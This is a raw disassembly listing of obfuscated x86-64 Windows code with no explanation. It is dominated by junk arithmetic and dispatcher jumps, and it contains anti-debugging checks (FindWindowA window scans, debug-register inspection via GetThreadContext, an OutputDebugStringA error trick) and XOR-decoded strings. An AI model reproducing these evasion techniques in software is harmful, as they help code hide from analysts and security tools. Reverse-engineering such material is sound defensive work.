add eax, 0xb3bcac90
xor eax, 0x90348ca9
rol eax, 0x5e
popf
jmp 0x1400ad8fd
mov r14d, ebx
mov esi, 0xf22793c8
pushf
not esi
add esi, 0xae7dee26
xor esi, 0xa6163581
rol esi, 0x4b
popf
pushf
not esi
add esi, 0xbdd90fce
xor esi, 0xba5a6efb
rol esi, 0xd2
popf
push rax
pushf
mov eax, 0xfdef6705
pushf
not eax
add eax, 0x8338792f
xor eax, 0xfa876a3b
rol eax, 0x7a
popf
pushf
not eax
add eax, 0xb811bcba
xor eax, 0x81f34b51
rol eax, 0x3b
popf
pushf
not eax
add eax, 0xc06ecd02
xor eax, 0xf8efbea9
rol eax, 0x61
popf
jmp 0x1400ad8fd
inc ebx
add rdi, 8
cmp ebx, 3
jl 0x1400b0598
push rax
pushf
mov eax, 0x43b6d860
pushf
not eax
add eax, 0xe4693bad
xor eax, 0x85ef680d
rol eax, 0x76
popf
pushf
not eax
add eax, 0xa668c8d4
xor eax, 0xad8c1097
rol eax, 0x89
popf
pushf
not eax
add eax, 0xcd0d693d
xor eax, 0xa64b4145
rol eax, 0xb9
popf
jmp 0x1400ad8fd
push rax
pushf
mov eax, 0xf6853b73
pushf
not eax
add eax, 0xcfecbc5c
xor eax, 0xaf73ead5
rol eax, 0x9e
popf
pushf
not eax
add eax, 0x835ce18f
xor eax, 0xdafe30b2
rol eax, 0xe7
popf
pushf
not eax
add eax, 0x8f18aa75
xor eax, 0xfa1d85b5
rol eax, 0x7b
popf
jmp 0x1400ad8fd
test esi, esi
jne 0x1400b0619
push rax
pushf
mov eax, 0x22373971
pushf
not eax
add eax, 0xebc2fddc
xor eax, 0xf7ad321a
rol eax, 0x78
popf
pushf
not eax
add eax, 0xaa05982b
xor eax, 0xb9c77129
rol eax, 0xc1
popf
jmp 0x1400ad8fd
push rax
pushf
mov eax, 0xdbb08b76
pushf
not eax
add eax, 0xb9706ddb
xor eax, 0xf03bb602
rol eax, 0xe7
popf
pushf
not eax
add eax, 0xe6b3d327
xor eax, 0xf12e34ee
rol eax, 0x53
popf
pushf
not eax
add eax, 0xe2feabf6
xor eax, 0xfb07feaa
rol eax, 0xc2
popf
jmp 0x1400ad8fd
mov esi, r15d
mov r14d, r15d
mov qword [rbp - 0x68], r12
mov qword [rbp - 0x60], r13
lea rax, [0x18b9d68c5]
pushf
sub rax, 0x4b991cf5
popf
mov qword [rbp - 0x58], rax
lea rax, [0x181cfa8f0]
pushf
sub rax, 0x41cb5d0c
popf
mov qword [rbp - 0x50], rax
mov ebx, r15d
lea rdi, [rbp - 0x68]
nop dword [rax]
push rax
pushf
mov eax, 0x111fd08f
pushf
not eax
add eax, 0xfc4d9b6e
xor eax, 0xedaebb9c
rol eax, 0x7d
popf
pushf
not eax
add eax, 0xde0c56b4
xor eax, 0xbaa47702
rol eax, 0xfa
popf
pushf
not eax
add eax, 0xc3de55d5
xor eax, 0x80807d37
rol eax, 0xe4
popf
pushf
not eax
add eax, 0xc84832ba
xor eax, 0xb44d8ca8
rol eax, 0xa7
popf
jmp 0x1400ad8fd
test esi, esi
jne 0x1400b0732
push rax
pushf
mov eax, 0x46c5308f
pushf
not eax
add eax, 0xc5b42afb
xor eax, 0x8c17a4d6
rol eax, 0x8d
popf
pushf
not eax
add eax, 0xe5942917
xor eax, 0xb9bc6a8a
rol eax, 0x60
popf
jmp 0x1400ad8fd
push rax
pushf
mov eax, 0x4c5bc8dc
pushf
not eax
add eax, 0xfb1a6ea9
xor eax, 0xd961d19a
rol eax, 0xe3
popf
pushf
not eax
add eax, 0xe9e14d62
xor eax, 0xfe800b64
rol eax, 0xa8
popf
pushf
not eax
add eax, 0xb73aa387
xor eax, 0x81253f5c
rol eax, 0x25
popf
pushf
not eax
add eax, 0xce04e118
xor eax, 0xb647ecfd
rol eax, 0xda
popf
jmp 0x1400ad8fd
mov rdx, qword [rdi]
xor ecx, ecx
jmp 0x1400b0791
call qword [sym.imp.USER32.dll_FindWindowA]
test rax, rax
je 0x1400b07f5
push rax
pushf
mov eax, 0x1cc55a86
pushf
not eax
add eax, 0x9764b077
xor eax, 0xe9c1a53c
rol eax, 0xa6
popf
pushf
not eax
add eax, 0xaf3b2499
xor eax, 0x975e9352
rol eax, 0xd9
popf
pushf
not eax
add eax, 0xac147502
xor eax, 0xfe8c8b86
rol eax, 0x3c
popf
pushf
not eax
add eax, 0x84ee996f
xor eax, 0xcac20d73
rol eax, 0x11
popf
jmp 0x1400ad8fd
push rax
pushf
mov eax, 0xf8bc8c48
pushf
not eax
add eax, 0xf202fddc
xor eax, 0xf7f73587
rol eax, 0x18
popf
pushf
not eax
add eax, 0xb8bc155c
xor eax, 0xa4926417
rol eax, 0x10
popf
jmp 0x1400ad8fd
mov r14d, ebx
mov esi, 0x51e3515b
pushf
not esi
add esi, 0x8f2d04df
xor esi, 0xa2e82da4
rol esi, 0xa3
popf
pushf
not esi
add esi, 0x85d0927e
xor esi, 0xee17f5be
rol esi, 0xd4
popf
pushf
not esi
add esi, 0xeed35741
xor esi, 0x87eb2bfd
rol esi, 0xce
popf
pushf
not esi
add esi, 0x922de52b
xor esi, 0xa1ae5edd
rol esi, 0x2f
popf
jmp 0x1400b0885
inc ebx
add rdi, 8
cmp ebx, 4
jl 0x1400b08e9
push rax
pushf
mov eax, 0xf557166f
pushf
not eax
add eax, 0xb973a70a
xor eax, 0xc7557eb1
rol eax, 0x55
popf
pushf
not eax
add eax, 0xbcfcff22
xor eax, 0xb47b901b
rol eax, 0xcd
popf
pushf
not eax
add eax, 0x91bb123d
xor eax, 0xac614dae
rol eax, 0x7a
popf
pushf
not eax
add eax, 0x972a0dc3
xor eax, 0xdeb6a431
rol eax, 0xd6
popf
jmp 0x1400ad8fd
push rax
pushf
mov eax, 0xeea766f2
pushf
not eax
add eax, 0xbfe02f2e
xor eax, 0xe2bb058f
rol eax, 0x6f
popf
pushf
not eax
add eax, 0xdb18f1fb
xor eax, 0xf402d839
rol eax, 0x90
popf
jmp 0x1400ad8fd
test esi, esi
jne 0x1400b096a
push rax
pushf
mov eax, 0xb4c4c38d
pushf
not eax
add eax, 0xef94e69c
xor eax, 0xf9990a66
rol eax, 0x86
popf
pushf
not eax
add eax, 0x83b80b5b
xor eax, 0xfccb82b9
rol eax, 0x62
popf
pushf
not eax
add eax, 0xd5cf46e4
xor eax, 0x9b267896
rol eax, 0xc
popf
jmp 0x1400ad8fd
push rax
pushf
mov eax, 0x77871c7f
pushf
not eax
add eax, 0xf9a7db99
xor eax, 0xda6b9033
rol eax, 0x4e
popf
pushf
not eax
add eax, 0xd6d15619
xor eax, 0x912902c7
rol eax, 0x92
popf
pushf
not eax
add eax, 0xb0c9b7ea
xor eax, 0xb4130858
rol eax, 0x80
popf
pushf
not eax
add eax, 0xdab3dc11
xor eax, 0xc8f0149e
rol eax, 0x52
popf
jmp 0x1400ad8fd
mov ebx, r15d
xor edx, edx
mov r8d, 0x7d2e9eba
pushf
not r8d
add r8d, 0x9eb19eac
xor r8d, 0xcfc170a2
rol r8d, 0x34
popf
pushf
not r8d
add r8d, 0xe5c79dbf
xor r8d, 0xe3c8b986
rol r8d, 0xe
popf
lea rcx, [rbp - 0x40]
call fcn.1400120d0
jmp 0x1400b0a0a
call qword [sym.imp.KERNEL32.dll_GetCurrentThread]
mov dword [rbp - 0x10], 0x100010
lea rdx, [rbp - 0x40]
mov rcx, rax
jmp 0x1400b0a1f
call qword [sym.imp.KERNEL32.dll_GetThreadContext]
test eax, eax
je 0x1400b0a82
push rax
pushf
mov eax, 0x249c3ff5
pushf
not eax
add eax, 0xb4bc6341
xor eax, 0x9d60d855
rol eax, 0xde
popf
pushf
not eax
add eax, 0xd93388cd
xor eax, 0xf4206cd8
rol eax, 8
popf
pushf
not eax
add eax, 0xbfb99ba6
xor eax, 0xffedd8f6
rol eax, 0xb5
popf
pushf
not eax
add eax, 0x89f6faaa
xor eax, 0xbbb68abf
rol eax, 0x25
popf
jmp 0x1400ad8fd
push rax
pushf
mov eax, 0x96d2a5a0
pushf
not eax
add eax, 0xc01e3a76
xor eax, 0xda001f74
rol eax, 0x21
popf
pushf
not eax
add eax, 0x84b71cbf
xor eax, 0x9e20173b
rol eax, 0x9a
popf
jmp 0x1400ad8fd
cmp qword [rbp + 8], rbx
jne 0x1400b0b01
push rax
pushf
mov eax, 0x43454a0e
pushf
not eax
add eax, 0x913eb880
xor eax, 0xaf3e9161
rol eax, 0x38
popf
pushf
not eax
add eax, 0xe0db4230
xor eax, 0xb4470492
rol eax, 0x18
popf
pushf
not eax
add eax, 0x9c2e2cd8
xor eax, 0xf5b26d58
rol eax, 6
popf
jmp 0x1400ad8fd
push rax
pushf
mov eax, 0xe5154b43
pushf
not eax
add eax, 0xf72c91e8
xor eax, 0x8fda749b
rol eax, 0x52
popf
pushf
not eax
add eax, 0xed824ec9
xor eax, 0xd948b570
rol eax, 0x37
popf
pushf
not eax
add eax, 0xc17b58b4
xor eax, 0x91f0ff05
rol eax, 0xe8
popf
pushf
not eax
add eax, 0xa8313ad6
xor eax, 0x9ba53bf6
rol eax, 0xbb
popf
jmp 0x1400ad8fd
cmp qword [rbp + 0x10], rbx
jne 0x1400b0b93
push rax
pushf
mov eax, 0x5240a4dd
pushf
not eax
add eax, 0xd06520fe
xor eax, 0xb81ab45e
rol eax, 0xaa
popf
pushf
not eax
add eax, 0xc36bc0eb
xor eax, 0xc86bc5d2
rol eax, 0x91
popf
jmp 0x1400ad8fd
push rax
pushf
mov eax, 0x52d13015
pushf
not eax
add eax, 0xdb25a6eb
xor eax, 0xdbd98f2a
rol eax, 0x76
popf
pushf
not eax
add eax, 0xe66873e0
xor eax, 0x82a92f23
rol eax, 0x55
popf
pushf
not eax
add eax, 0xaedc318b
xor eax, 0xc67b2a33
rol eax, 0xd4
popf
jmp 0x1400ad8fd
cmp qword [rbp + 0x18], rbx
jne 0x1400b0c38
push rax
pushf
mov eax, 0x6f1a6ccf
pushf
not eax
add eax, 0x8d8d4489
xor eax, 0x9860043e
rol eax, 0x30
popf
pushf
not eax
add eax, 0xf97874ed
xor eax, 0x8c77e0a3
rol eax, 0xe6
popf
pushf
not eax
add eax, 0xef077d8d
xor eax, 0xbbacbfde
rol eax, 0xca
popf
pushf
not eax
add eax, 0xa15ed000
xor eax, 0xeb7adf24
rol eax, 0xb
popf
jmp 0x1400ad8fd
push rax
pushf
mov eax, 0x3ad46970
pushf
not eax
add eax, 0xf908e23a
xor eax, 0xfb758b9f
rol eax, 0x6c
popf
pushf
not eax
add eax, 0xbf9dc5d9
xor eax, 0xab568cd1
rol eax, 0x21
popf
pushf
not eax
add eax, 0xe91c3758
xor eax, 0xd29e5eed
rol eax, 0x7d
popf
jmp 0x1400ad8fd
cmp qword [rbp + 0x20], rbx
jne 0x1400b0cdd
push rax
pushf
mov eax, 0x88f9b870
pushf
not eax
add eax, 0xc91c8cbf
xor eax, 0x8b1d318a
rol eax, 0x94
popf
pushf
not eax
add eax, 0xdb830075
xor eax, 0xbc9a6e60
rol eax, 0x1d
popf
pushf
not eax
add eax, 0xff9e5d7d
xor eax, 0xf81279e5
rol eax, 0x99
popf
pushf
not eax
add eax, 0x870b8078
xor eax, 0x814d0b36
rol eax, 8
popf
jmp 0x1400ad8fd
push rax
pushf
mov eax, 0xdae690cd
pushf
not eax
add eax, 0x8e5c507b
xor eax, 0xd6442cdf
rol eax, 0xc8
popf
pushf
not eax
add eax, 0xd4357688
xor eax, 0xa2a29422
rol eax, 0xd7
popf
jmp 0x1400ad8fd
cmp qword [rbp + 0x28], rbx
jne 0x1400b0d6f
push rax
pushf
mov eax, 0xa0633a6d
pushf
not eax
add eax, 0xf13708b5
xor eax, 0xd326e702
rol eax, 0x91
popf
pushf
not eax
add eax, 0xe59f3a01
xor eax, 0xf0ff1855
rol eax, 0xa3
popf
pushf
not eax
add eax, 0x96a8a69d
xor eax, 0x9bfea0be
rol eax, 0x13
popf
pushf
not eax
add eax, 0x869f6eeb
xor eax, 0xe4b1c95b
rol eax, 0x12
popf
jmp 0x1400ad8fd
push rax
pushf
mov eax, 0x706d8489
pushf
not eax
add eax, 0xb8178bbc
xor eax, 0xf1187503
rol eax, 0x23
popf
pushf
not eax
add eax, 0x81745fca
xor eax, 0xcbe0ce74
rol eax, 0x20
popf
jmp 0x1400ad8fd
cmp qword [rbp + 0x30], rbx
je 0x1400b0dee
push rax
pushf
mov eax, 0xf304488a
pushf
not eax
add eax, 0xd7d46e2c
xor eax, 0xbaaffb23
rol eax, 7
popf
pushf
not eax
add eax, 0xba2f177c
xor eax, 0xd2c46699
rol eax, 0xfc
popf
pushf
not eax
add eax, 0xe4b5f78d
xor eax, 0x8a263c5b
rol eax, 0xe1
popf
jmp 0x1400ad8fd
push rax
pushf
mov eax, 0xba8ec1ac
pushf
not eax
add eax, 0xae6c9979
xor eax, 0xca8429a5
rol eax, 3
popf
pushf
not eax
add eax, 0xa8b43260
xor eax, 0xc33f851f
rol eax, 0xc1
popf
pushf
not eax
add eax, 0xf442e419
xor eax, 0x968b700f
rol eax, 0x43
popf
jmp 0x1400ad8fd
mov ebx, 0x17a0776d
pushf
not ebx
add ebx, 0xc0f16395
xor ebx, 0xea091a5c
rol ebx, 0x59
popf
pushf
not ebx
add ebx, 0x9ce9d51f
xor ebx, 0xcae4a2f0
rol ebx, 0x1e
popf
pushf
not ebx
add ebx, 0x86e99824
xor ebx, 0xecfb576a
rol ebx, 0xdd
popf
pushf
not ebx
add ebx, 0xb42a0d5a
xor ebx, 0xb342714e
rol ebx, 0x83
popf
push rax
pushf
mov eax, 0x18c471b8
pushf
not eax
add eax, 0x81655bfd
xor eax, 0xd6c8d7c3
rol eax, 0x2c
popf
pushf
not eax
add eax, 0x825bdc00
xor eax, 0xe785a1a8
rol eax, 0x26
popf
pushf
not eax
add eax, 0xaf20bf79
xor eax, 0x8632490c
rol eax, 0x4b
popf
pushf
not eax
add eax, 0xc18a73e0
xor eax, 0xb0aa3c85
rol eax, 0x72
popf
jmp 0x1400ad8fd
test ebx, ebx
jne 0x1400b0f21
push rax
pushf
mov eax, 0x891f715d
pushf
not eax
add eax, 0xb38fc833
xor eax, 0xbc403b7c
rol eax, 0x68
popf
pushf
not eax
add eax, 0xd089bd63
xor eax, 0xa01c014c
rol eax, 0x3a
popf
jmp 0x1400ad8fd
push rax
pushf
mov eax, 0xdae08df6
pushf
not eax
add eax, 0xf0f8156e
xor eax, 0x85487010
rol eax, 0xaf
popf
pushf
not eax
add eax, 0x821c0006
xor eax, 0x95283656
rol eax, 0xa
popf
jmp 0x1400ad8fd
xor ecx, ecx
jmp 0x1400b0f57
call qword [sym.imp.KERNEL32.dll_SetLastError]
movdqa xmm1, xmmword [0x140044db0]
movdqu xmmword [rbp - 0x68], xmm1
mov dl, 0x1a
pushf
not dl
add dl, 0x80
xor dl, 0xdc
rol dl, 0x79
popf
pushf
not dl
add dl, 0xa3
xor dl, 0x8f
rol dl, 0xc9
popf
pushf
not dl
add dl, 0x68
xor dl, 0x2b
rol dl, 0xb9
popf
xor r8b, r8b
mov r9b, 0xef
pushf
not r9b
add r9b, 0xfd
xor r9b, 0x4a
rol r9b, 0x2c
popf
pushf
not r9b
add r9b, 0x9d
xor r9b, 0x19
rol r9b, 0x2c
popf
movdqa xmm0, xmm1
psrldq xmm0, 1
movd eax, xmm0
movd ecx, xmm1
xor al, cl
mov byte [rbp - 0x67], al
xor byte [rbp - 0x66], cl
xor byte [rbp - 0x65], cl
xor byte [rbp - 0x64], cl
xor byte [rbp - 0x63], cl
xor byte [rbp - 0x62], cl
xor byte [rbp - 0x61], cl
xor byte [rbp - 0x60], cl
xor byte [rbp - 0x5f], cl
xor byte [rbp - 0x5e], cl
xor byte [rbp - 0x5d], cl
xor byte [rbp - 0x5c], cl
xor byte [rbp - 0x5b], cl
xor byte [rbp - 0x5a], cl
xor byte [rbp - 0x59], cl
xor dl, cl
mov byte [rbp - 0x58], dl
xor r8b, cl
mov byte [rbp - 0x57], r8b
xor r9b, cl
mov byte [rbp - 0x56], r9b
mov byte [rbp - 0x55], bl
lea rcx, [rbp - 0x67]
jmp 0x1400b1020
call qword [sym.imp.KERNEL32.dll_OutputDebugStringA]
jmp 0x1400b1027
call qword [sym.imp.KERNEL32.dll_GetLastError]
test eax, eax
je 0x1400b1068
push rax
pushf
mov eax, 0x43ece12c
pushf
not eax
add eax, 0x95439be1
xor eax, 0xec1952a8
rol eax, 0x73
popf
pushf
not eax
add eax, 0xdaa40c99
xor eax, 0xc1be221b
rol eax, 0x65
popf
jmp 0x1400ad8fd
push rax
pushf
mov eax, 0x3539720e
pushf
not eax
add eax, 0xd1ca8a99
xor eax, 0x91251e33
rol eax, 0xf3
popf
pushf
not eax
add eax, 0xa6b4c561
xor eax, 0xb5b0072f
rol eax, 0x7c
popf
pushf
not eax
add eax, 0xaa814580
xor eax, 0xee2b8071
rol eax, 0xa2
popf
jmp 0x1400ad8fd
mov byte [rbp - 0x78], 0x1f
mov al, 4
pushf
not al
add al, 0xb9
xor al, 0x4e
rol al, 0xd9
popf
pushf
not al
add al, 0x91
xor al, 0xdf
rol al, 0x63
popf
pushf
not al
add al, 7
xor al, 0x12
rol al, 0x4f
popf
mov cl, recv
pushf
not cl
add cl, 0x62
xor cl, 0x5f
rol cl, 0x2c
popf
pushf
not cl
add cl, 0xfa
xor cl, 0x9f
rol cl, 3
popf
pushf
not cl
add cl, 0x15
xor cl, 0x29
rol cl, 0x7f
popf
pushf
not cl
add cl, 0xf5
xor cl, 0x50
rol cl, 0x86
popf
mov dl, 0x98
pushf
not dl
add dl, 0xc8
xor dl, 0x63
rol dl, 0x63
popf
pushf
not dl
add dl, 0x67
xor dl, 0x45
rol dl, 7
popf
pushf
not dl
add dl, 0x5d
xor dl, 0x31
rol dl, 0xf2
popf
pushf
not dl
add dl, 0xb8
xor dl, 0x74
rol dl, 0x9e
popf
mov r8b, 0x1b
pushf
not r8b
add r8b, 0x92
xor r8b, 0xb1
rol r8b, 0xd1
popf
pushf
not r8b
add r8b, 0x26
xor r8b, 0x9b
rol r8b, 0x86
popf
pushf
not r8b
add r8b, 0x47
xor r8b, 0xfd
rol r8b, 0x1c
popf
pushf
not r8b
add r8b, 0xb1
xor r8b, 0x67
rol r8b, 0xfc
popf
mov r9b, 0xe5
pushf
not r9b
add r9b, 0xb3
xor r9b, 0x4b
rol r9b, 0xa9
popf
pushf
not r9b
add r9b, 0x19
xor r9b, 0x5e
rol r9b, 0xb1
popf
pushf
not r9b
add r9b, 0xfd
xor r9b, 0x6e
rol r9b, 0xe9
popf
mov r10b, 0x36
pushf
not r10b
add r10b, 0x34
xor r10b, 0xb7
rol r10b, 0xb9
popf
pushf
not r10b
add r10b, 5
xor r10b, 0x7e
rol r10b, 0xa1
popf
pushf
not r10b
add r10b, 0xe6
xor r10b, 0xc8
rol r10b, 0xfe
popf
mov r11b, 0xca
pushf
not r11b
add r11b, 7
xor r11b, 0xf4
rol r11b, 0xa7
popf
pushf
not r11b
add r11b, 0x98
xor r11b, 0x2b
rol r11b, 0x25
popf
pushf
not r11b
add r11b, 0x73
xor r11b, 0xe2
rol r11b, 0x2b
popf
mov bl, 0x5a
pushf
not bl
add bl, 0x63
xor bl, 0xac
rol bl, 0x76
popf
pushf
not bl
add bl, 0xdd
xor bl, 6
rol bl, 0xd9
popf
mov dil, 0x35
pushf
not dil
add dil, 0xe6
xor dil, 0xbb
rol dil, 0xd4
popf
pushf
not dil
add dil, 0x99
xor dil, 0xe4
rol dil, 0x2a
popf
pushf
not dil
add dil, 0x89
xor dil, 0x33
rol dil, 0x1d
popf
mov sil, 0xfc
pushf
not sil
add sil, 0xda
xor sil, 0x61
rol sil, 6
popf
pushf
not sil
add sil, 0x9a
xor sil, 0x86
rol sil, 0x6f
popf
mov r14b, 0x51
pushf
not r14b
add r14b, 0x81
xor r14b, 0x67
rol r14b, 0xea
popf
pushf
not r14b
add r14b, 0xa
xor r14b, 0x38
rol r14b, 0x1b
popf
pushf
not r14b
add r14b, 0x63
xor r14b, 0xad
rol r14b, 0x98
popf
movzx r15d, r9b
xor r12d, r12d
xor al, 0x1f
mov byte [rbp - 0x77], al
xor cl, 0x1f
mov byte [rbp - 0x76], cl
xor dl, 0x1f
mov byte [rbp - 0x75], dl
xor r8b, 0x1f
mov byte [rbp - 0x74], r8b
xor r9b, 0x1f
mov byte [rbp - 0x73], r9b
xor r10b, 0x1f
mov byte [rbp - 0x72], r10b
xor r11b, 0x1f
mov byte [rbp - 0x71], r11b
xor bl, 0x1f
mov byte [rbp - 0x70], bl
xor dil, 0x1f
mov byte [rbp - 0x6f], dil
xor sil, 0x1f
mov byte [rbp - 0x6e], sil
xor r14b, 0x1f
mov byte [rbp - 0x6d], r14b
xor r15b, 0x1f
mov byte [rbp - 0x6c], r15b
mov byte [rbp - 0x6b], r12b
lea rdx, [rbp - 0x77]
lea rcx, [rbp - 0x68]
call fcn.14011d9be
mov rdx, rax
call fcn.140173c81
int3
call fcn.1400b766f
int3
movdqa xmm1, xmmword [str.O.8.]
movdqu xmmword [rbp - 0x68], xmm1
mov dl, 0x80
pushf
not dl
add dl, 0x2e
xor dl, 0x56
rol dl, 0xf8
popf
pushf
not dl
add dl, 0xa8
xor dl, 0xb
rol dl, 0x4b
popf
mov r8b, 0xcc
pushf
not r8b
add r8b, 0x4e
xor r8b, 0xfd
rol r8b, 0xe5
popf
pushf
not r8b
add r8b, 0xe9
xor r8b, 0xc7
rol r8b, 0x94
popf
pushf
not r8b
add r8b, 0x26
xor r8b, 5
rol r8b, 0x90
popf
pushf
not r8b
add r8b, 0x5b
xor r8b, 0xb
rol r8b, 0xd0
popf
mov r9b, 0x52
pushf
not r9b
add r9b, 0x41
xor r9b, 0x8b
rol r9b, 0xd9
popf
pushf
not r9b
add r9b, 0xd7
xor r9b, 0x18
rol r9b, 0x3f
popf
pushf
not r9b
add r9b, 0xb2
xor r9b, 0xca
rol r9b, 0x99
popf
pushf
not r9b
add r9b, 0x8b
xor r9b, 0x32
rol r9b, 0x2c
popf
mov r10b, 0xa0
pushf
not r10b
add r10b, 0xaf
xor r10b, 0xd1
rol r10b, 0x32
popf
pushf
not r10b
add r10b, 0xcf
xor r10b, 0x7e
rol r10b, 0x7d
popf
mov r11b, 0x70
pushf
not r11b
add r11b, 0xdd
xor r11b, 0x1d
rol r11b, 0x1d
popf
pushf
not r11b
add r11b, 0x2a
xor r11b, 0x41
rol r11b, 0x57
popf
pushf
not r11b
add r11b, 0xfd
xor r11b, 0x3a
rol r11b, 0xf0
popf
pushf
not r11b
add r11b, 0x37
xor r11b, 0x70
rol r11b, 5
popf
mov bl, 0x61
pushf
not bl
add bl, 9
xor bl, 0x64
rol bl, 0xa6
popf
pushf
not bl
add bl, 0x33
xor bl, 0xdf
rol bl, 0x31
popf
movzx edi, r8b
movzx esi, dl
movzx r14d, r11b
movdqa xmm0, xmm1
psrldq xmm0, 1
movd eax, xmm0
movd ecx, xmm1
xor al, cl
mov byte [rbp - 0x67], al
xor byte [rbp - 0x66], cl
xor byte [rbp - 0x65], cl
xor byte [rbp - 0x64], cl
xor byte [rbp - 0x63], cl
xor byte [rbp - 0x62], cl
xor byte [rbp - 0x61], cl
xor byte [rbp - 0x60], cl
xor byte [rbp - 0x5f], cl
xor byte [rbp - 0x5e], cl
xor byte [rbp - 0x5d], cl
xor byte [rbp - 0x5c], cl
xor byte [rbp - 0x5b], cl
xor byte [rbp - 0x5a], cl
xor byte [rbp - 0x59], cl
xor dl, cl
mov byte [rbp - 0x58], dl
xor r8b, cl
mov byte [rbp - 0x57], r8b
xor r9b, cl
mov byte [rbp - 0x56], r9b
xor r10b, cl
mov byte [rbp - 0x55], r10b
xor r11b, cl
mov byte [rbp - 0x54], r11b
xor bl, cl
mov byte [rbp - 0x53], bl
xor dil, cl
mov byte [rbp - 0x52], dil
xor sil, cl
mov byte [rbp - 0x51], sil
xor r14b, cl
mov byte [rbp - 0x50], r14b
mov byte [rbp - 0x4f], 0
lea rdx, [rbp - 0x67]
lea rcx, [rsp + 0x48]
call fcn.14011d9be
mov rdx, rax
call fcn.140173c81
int3
movsxd rdx, r14d
mov rdx, qword [rbp + rdx*8 - 0x68]
lea rcx, [rsp + 0x68]
call fcn.14011d9be
mov qword [rbp - 0x78], rax
mov byte [rbp - 0x68], 0x23
mov cl, 0x9b
pushf
not cl
add cl, 0x8c
xor cl, 0x79
rol cl, 0xb7
popf
pushf
not cl
add cl, 0xc7
xor cl, 0x56
rol cl, 0xf0
popf
mov dl, 0x47
pushf
not dl
add dl, 0x76
xor dl, 0x2c
rol dl, 0x9d
popf
pushf
not dl
add dl, 0xff
xor dl, 0x56
rol dl, 0xda
popf
pushf
not dl
add dl, 0xc5
xor dl, 0xc0
rol dl, 0x7c
popf
pushf
not dl
add dl, 0x46
xor dl, 0x6e
rol dl, 0xb
popf
mov r8b, 0xd
pushf
not r8b
add r8b, 0x7d
xor r8b, 0x1e
rol r8b, 0x8e
popf
pushf
not r8b
add r8b, 0x2e
xor r8b, 0xc2
rol r8b, 0x17
popf
pushf
not r8b
add r8b, 0xa
xor r8b, 0xea
rol r8b, 0xba
popf
pushf
not r8b
add r8b, 0xd3
xor r8b, 0xb3
rol r8b, 0x6f
popf
mov r9b, 0x6b
pushf
not r9b
add r9b, 0xa0
xor r9b, 3
rol r9b, 0x3d
popf
pushf
not r9b
add r9b, 0xa0
xor r9b, 0xa9
rol r9b, 0x96
popf
pushf
not r9b
add r9b, 0x5c
xor r9b, 0xd9
rol r9b, 0xda
popf
pushf
not r9b
add r9b, 0x60
xor r9b, 0x38
rol r9b, 0x5e
popf
mov r10b, 0x8f
pushf
not r10b
add r10b, 0x2b
xor r10b, 0x2a
rol r10b, 0x1f
popf
pushf
not r10b
add r10b, 0xec
xor r10b, 0x1e
rol r10b, 0xca
popf
pushf
not r10b
add r10b, 0x31
xor r10b, 0xcd
rol r10b, 0x7e
popf
movzx r11d, cl
mov bl, 0xf6
pushf
not bl
add bl, 0xfb
xor bl, 0xd9
rol bl, 0xbe
popf
pushf
not bl
add bl, 0x21
xor bl, 0x5a
rol bl, 0x4f
popf
pushf
not bl
add bl, 0xad
xor bl, 0xe9
rol bl, 0xde
popf
pushf
not bl
add bl, 0xdb
xor bl, 0xb5
rol bl, 0x96
popf
mov dil, 0xb6
pushf
not dil
add dil, 9
xor dil, 0xfc
rol dil, 0x84
popf
pushf
not dil
add dil, 0x5e
xor dil, 0x7d
rol dil, 0x94
popf
pushf
not dil
add dil, 0x41
xor dil, 0x62
rol dil, 0x2d
popf
mov sil, 0xa0
pushf
not sil
add sil, 0xa5
xor sil, 0xaa
rol sil, 0xaf
popf
pushf
not sil
add sil, 0xce
xor sil, 0x6c
rol sil, 0xd8
popf
pushf
not sil
add sil, 0x24
xor sil, 0xa1
rol sil, 0xad
popf
pushf
not sil
add sil, 0x4f
xor sil, 0x43
rol sil, 0x45
popf
mov r14b, 0xef
pushf
not r14b
add r14b, 0xbd
xor r14b, 0xea
rol r14b, 0xd8
popf
pushf
not r14b
add r14b, 8
xor r14b, 0xc4
rol r14b, 0x3c
popf
mov al, 0x3b
pushf
not al
add al, 0x4f
xor al, 0xe8
rol al, 0xa0
popf
pushf
not al
add al, 0x3f
xor al, 0xf3
rol al, 1
popf
pushf
not al
add al, 0x37
xor al, 0x75
rol al, 0x1f
popf
movzx r15d, al
movzx r12d, bl
xor r13d, r13d
xor cl, 0x23
mov byte [rbp - 0x67], cl
xor dl, 0x23
mov byte [rbp - 0x66], dl
xor r8b, 0x23
mov byte [rbp - 0x65], r8b
xor r9b, 0x23
mov byte [rbp - 0x64], r9b
xor r10b, 0x23
mov byte [rbp - 0x63], r10b
xor r11b, 0x23
mov byte [rbp - 0x62], r11b
xor bl, 0x23
mov byte [rbp - 0x61], bl
xor dil, 0x23
mov byte [rbp - 0x60], dil
xor sil, 0x23
mov byte [rbp - 0x5f], sil
xor r14b, 0x23
mov byte [rbp - 0x5e], r14b
xor al, 0x23
mov byte [rbp - 0x5d], al
xor r15b, 0x23
mov byte [rbp - 0x5c], r15b
xor r12b, 0x23
mov byte [rbp - 0x5b], r12b
mov byte [rbp - 0x5a], r13b
mov r8, qword [rbp - 0x78]
lea rdx, [rbp - 0x67]
lea rcx, [rsp + 0x48]
call fcn.1401306fc
mov rdx, rax
call fcn.140173c81
nop
push rax
pushf
mov eax, 0xebf5a380
pushf
not eax
add eax, 0xb679c8fb
xor eax, 0xc97d85f6
rol eax, 0xfd
popf
pushf
not eax
add eax, 0xf445dd43
xor eax, 0xa143255a
rol eax, 0x14
popf
pushf
not eax
add eax, 0x8949212e
xor eax, 0xba8bf8d7
rol eax, 0xa5
popf
jmp 0x1400ad8fd
movsxd rdx, r14d
mov rdx, qword [rbp + rdx*8 - 0x68]
lea rcx, [rsp + 0x68]
call fcn.14011d9be
mov r10, rax
movdqa xmm1, xmmword [str.D3__3e__77e_C]
movdqu xmmword [rbp - 0x68], xmm1
mov dl, 4
pushf
not dl
add dl, 0xdf
xor dl, 0x2f
rol dl, 0x14
popf
pushf
not dl
add dl, 0x6c
xor dl, 0xc2
rol dl, 0xaa
popf
pushf
not dl
add dl, 0xb5
xor dl, 0x2b
rol dl, 0xdf
popf
mov r8b, 0xfe
pushf
not r8b
add r8b, 0xed
xor r8b, 0x9c
rol r8b, 0x50
popf
pushf
not r8b
add r8b, 0x92
xor r8b, 0x1a
rol r8b, 0xd1
popf
pushf
not r8b
add r8b, 0x26
xor r8b, 0x8b
rol r8b, 0x71
popf
mov r9b, 0x9b
pushf
not r9b
add r9b, 0x83
xor r9b, 0xa3
rol r9b, 0x40
popf
pushf
not r9b
add r9b, 0xc7
xor r9b, 0x46
